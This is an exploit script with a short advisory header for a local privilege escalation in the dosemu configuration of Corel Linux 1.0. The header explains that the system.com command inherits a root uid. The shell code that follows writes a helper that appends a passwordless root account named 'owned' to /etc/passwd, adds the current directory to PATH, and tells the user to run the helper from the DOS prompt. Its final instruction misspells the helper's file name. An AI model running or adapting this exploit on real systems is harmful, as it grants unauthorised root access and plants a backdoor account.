#
#
#  suid@suid.kg - Corel Linux dosemu config error. Local root compromise.
#
#  Software:   Corel Linux 1.0 dosemu distribution configuration
#  URL:    http://linux.corel.com
#  Version:  Version 1.0
#
#  The system.com command is available to any user who runs the
#  dos emulator. This is a direct violation of the advice from 
#  the SECURITY readme file:
#
# Never allow the 'system.com' command (part of dosemu) 
# to be executed. It makes dosemu execute the libc
# 'system() function'. Though privileges  are turned off,
#  the process inherits the switched uid-setting (uid=root,
#  euid=user), hence the  unix process can use setreuid to
#  gain root access back. ... the rest you can imagine your self. 
#


id
cat > hack-corel <<EOF

#!/bin/bash
echo "owned::0:0::/:/bin/bash" >> /etc/passwd
EOF

chmod a+rx hack-corel 
export PATH="$PATH:."
dos

echo "when you hit a C:\ prompt, type 'system hack-core'"